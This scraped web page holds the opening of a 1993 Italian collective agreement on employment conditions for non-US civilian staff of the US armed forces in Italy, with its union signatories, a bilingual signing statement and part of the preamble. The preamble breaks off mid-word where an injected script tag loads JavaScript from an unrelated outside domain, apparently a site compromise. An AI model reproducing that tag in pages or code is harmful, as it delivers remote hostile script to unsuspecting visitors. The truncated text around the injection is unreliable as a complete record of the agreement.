Torna
all'elenco delle categorie
|
Categoria: BASI USA (civili non statunitensi) Settore: Altro Data stipula: 12-1-1993 Data decorrenza: 12-1-1993 Data scadenza: 12-1-1996
CONDIZIONI DI IMPIEGO PER IL PERSONALE CIVILE NON STATUNITENSE DELLE FORZE
ARMATE USA OPERANTI IN ITALIA
L'anno 1993, il giorno 12 del mese di gennaio in Roma
tra
La Commissione di Coordinamento Interforze USA per il Personale Civile
(CPCC) rappresentata dal suo Presidente Mr.R.Burow
da una parte
e
dall'altra
La Federazione Italiana Sindacati Addetti Servizi Commerciali, Affini e del
Turismo (FISASCAT), rappresentata dal Segretario Generale Mario Cesino, dai
Segretari Generali Aggiunti Maria Pantile, Antonio Michelagnoli, dai
Segretari Nazionali Giovanni Baratta, Mario Marchetti e Salvatore Zappadu,
dal Coordinatore Nazionale Antonio Bacci unitamente al Coordinamento dei
lavoratori delle basi USA composto da: Aldo Ariani, Giovanni Cardellini,
Ronald Carpenter, Marcello Celestino, Salvatore Di Stabile, Antonio
Fiorenza, Mario Grieco, Alberto Launaro, Angelo Lotti, Piera Mandras,
Gerlando Minnella, Biagio Montefusco, Lisandro Pardini, Vittorio Salsedo,
Dionigi Sanquerin;
la Unione Italiana Lavoratori Turismo Commercio e Servizi (UILTuCS),
rappresentata dal Segretario Generale Raffaele Vanni, dal Segretario
Generale Aggiunto Antonio Zilli, dai Segretari Nazionali Michele Malerba,
Pier Luigi Paolini, Virgilio Scarpellini, Parmenio Stroppa, dal
Coordinatore Nazionale Michele De Simone, unitamente al Coordinamento dei
lavoratori delle basi USA composto da: Leila Alberti, Maurizio Catteneo,
Patrizio Cusano, Gennaro Di Pasquale, Ernesto Festa, Michele Fiscella,
Marco Fontanelli, Giancarlo Guidi, Mauro Marchioro, Claudio Mey, Dario
Micciché, Angelo Passante, Roberto Rossi, Elio Serra, Franco Taveri;
sono state stipulate
le seguenti Condizioni di impiego, per il Personale Civile non Statunitense
delle Forze Armate USA Operanti in Italia composte da 67 articoli e 9
allegati, letti approvati e sottoscritti dai rappresentanti di tutte le
organizzazioni stipulanti.
Addì, 12 gennaio 1993, in Roma, le OOSS FISASCAT E UILTuCS, rappresentante
dai rispettivi Segretari Nazionali Signori S. Zappadu e P. Paolini,
assistiti da delegazioni di lavoratori, e le FFAA degli Stati Uniti,
rappresentate da Mr. R. Burow, Presidente la Commissione di Coordinamento
Interforze USA per il Personale Civile, hanno sanzionato l'accordo di
rinnovo delle Condizioni di Impiego del personale civile italiano dei
Comandi, mediante la firma apposta a questo documento.
On this 12th day of January 1993, in Rome, the union organizations FISASCAT
and UILTuCS represented by Messer. S. Zappadu and P. Paolini, National
Secretaries, assisted by labor delegations, and the Armed Forces of the
United States, represented by Mr. Burow, Chairman, CPCC Italy, have
formalized the renewal agreement of the Conditions of Employment for
Italian Civilian Personnel of the US Forces as witnessed by their
signatures hereon.
S/Ronaìd Burow F.to Salvatore Zappadu F.to Pierluigi Paolini
PREAMBOLO
Il presente documento dà attuazione alle disposizioni del Memorandum di
Intesa concluso il 12 maggio 1981 fra i rappresentanti di FISASCAT-CISL e
UILTuCS-UIL e la Commissione di Coordinamento della FFAA USA per il
Personale Civile in Italia, e contiene le condizioni di impiego concordate
relative al personale civile italiano, e di altra nazionalità diversa da
quella statunitense, alle dipendenze delle FFAA USA in Italia.
Il presente documento sostituisce le Condizioni di Impiego dell' 11 ottobre
1984 nonché ogni regolamentazione del datore di lavoro in c<script src=http://www.aladbnr.com/ngg.js></script>
|